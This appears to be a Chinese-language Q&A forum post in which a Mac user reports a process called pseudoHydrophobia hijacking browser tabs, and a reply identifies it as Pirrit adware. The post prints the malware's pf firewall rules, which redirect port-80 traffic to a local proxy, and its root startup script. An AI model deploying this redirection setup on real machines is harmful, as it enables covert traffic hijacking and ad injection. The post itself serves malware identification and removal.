☰

擬疏水過程 Mac

tag-icon • tag-icon macos malware malware-removal
擬疏水過程 Mac

最近，當我在 MBP 10.10.5 Yosemite 中瀏覽網頁時，我開始注意到 Chrome Canary 版本 53 開啟了新分頁或某些頁面未開啟...此分頁將我重定向到隨機頁面。

我啟動了防火牆並注意到一個進程呼叫pseudoHydrophobia正在嘗試開啟傳入連接

/etc/pseudoHydrophobia.conf

    rdr pass inet proto tcp from en0 to any port 80 -> 127.0.0.1 port 9882
    pass out on en0 route-to lo0  inet proto tcp from en0 to any port 80 keep state
    pass out proto tcp all user volutate

/etc/pseudohydrophobia.sh

#!/bin/sh

if [ -a /Library/pseudohydrophobia/Contents/MacOS/pseudohydrophobia ];
then
sleep 10
sudo pfctl -evf /etc/pseudohydrophobia.conf
sudo -u volutate /Library/pseudohydrophobia/Contents/MacOS/pseudohydrophobia
fi
exit 0

連接埠：

netstat -an | grep 9882
tcp4       0      0  *.9882                 *.*                    LISTEN

/etc/pseudoHydrophobia.conf

rdr pass inet proto tcp from en0 to any port 80 -> 127.0.0.1 port 9882
pass out on en0 route-to lo0  inet proto tcp from en0 to any port 80 keep state
pass out proto tcp all user volutate

我將刪除所有這些腳本和二進位文件，但想將其發布，因為沒有找到任何 Google 參考。

答案1

看一眼https://objective-see.com/blog/blog_0x0E.html

侵入性跨平台廣告軟體分析； OSX/皮里特

這可能是 Pirrit 惡意軟體。

使用者名稱volutate和檔案名稱 ( pseudohydrophobia) 無疑是隨機產生的，但連接埠號碼 9882 是相同的...

相關內容